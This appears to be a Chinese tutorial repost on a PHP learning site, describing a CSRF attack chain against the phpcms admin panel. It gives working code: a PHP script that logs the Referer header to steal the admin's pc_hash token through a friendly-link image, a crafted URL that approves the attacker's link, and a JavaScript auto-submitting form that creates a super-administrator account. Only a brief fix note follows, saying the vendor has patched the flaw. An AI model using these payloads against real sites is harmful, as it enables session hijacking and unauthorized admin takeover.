来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 众所周知phpcms登录后台后,有一个pc_hash作为防范CSRF的TOKEN,且看我怎么利用一个组合技来进行CSRF攻击的。phpcms安装好后默认允许申请友情链接。而且友情链接分两种:文字链接和图片链...
众所周知phpcms登录后台后,有一个pc_hash作为防范CSRF的TOKEN,且看我怎么利用一个组合技来进行CSRF攻击的。
phpcms安装好后默认允许申请友情链接。而且友情链接分两种:文字链接和图片链接。
其中图片链接,管理员在审核的时候,图片会直接显示后台。而后台url中是包含这个pc_hash的,我们就能在图片的referer里找到这个pc_hash~~岂不妙哉?
利用方法如下:
首先我在本地简单写了一个获得referer的脚本:
<?php $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; file_put_contents('referer.txt', $referer); ?>
然后把这个脚本作为图片地址,申请友链:
管理员在后台访问“友情链接”功能的时候,我已经窃取了其pc_hash:
实战中,我们还可以把这个做的像一点。比如用php输出一张真正的logo,这样不但获得了pc_hash,而且还像一个真的申请友链的请求。
这时我本地已经获得了referer了:
那么,获得了pc_hash可以干什么?当然是CSRF了,举个简单的例子。
我可以构造如下链接:
http://localhost/phpcms/index.php?m=link&c=link&a=check&linkid=4&pc_hash=lrP5dK
作为图片欺骗管理员浏览,就能把id=4的友情链接审核通过。也就是我刚才申请的那个友链。
再来一个厉害的。
gum = function(){ var u = { 'version':'1140213', 'domain':'{{domain}}', 'backinfo':{}, 'author': 'https://github.com/quininer/gum' }; u.e = function(code){try{return eval(code)}catch(e){return ''}}; u.name = function(names){ return document.getElementsByTagName(names); }; u.html = function(){ return u.name('html')[0] ||document.write('<html>') ||u.name('html')[0]; }; u.addom = function(html, doming, hide){ (!doming)&&(doming = u.html()); var temp = document.createElement('span'); temp.innerHTML = html; var doms = temp.children[0]; (hide)&&(doms.style.display = 'none'); doming.appendChild(doms); return doms; }; u.post = function(url, data){ var form = u.addom("<form method='POST'>", u.html(), true); form.action = url; for(var name in data){ var input = document.createElement('input'); input.name = name; input.value = data[name]; form.appendChild(input); }; form.submit(); }; return u; }(); gum.post('http://target/index.php?m=admin&c=admin_manage&a=add', { 'info[username]': 'test', 'info[password]': '123123', 'info[pwdconfirm]': '123123', 'info[email]': '123@qq.com', 'info[realname]': '', 'info[roleid]': '1', 'dosubmit': '提交', 'pc_hash': 'lrP5dK' });
把pc_hash修改为你获得的pc_hash,然后将以上代码放在任何html页面中(不限域名),诱使管理员访问,即可为目标站点增加一个用户名为test,密码为123123的超级管理员账户:
修复方案:
没啥好建议。别把pc_hash放在url中
官方已经补丁 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com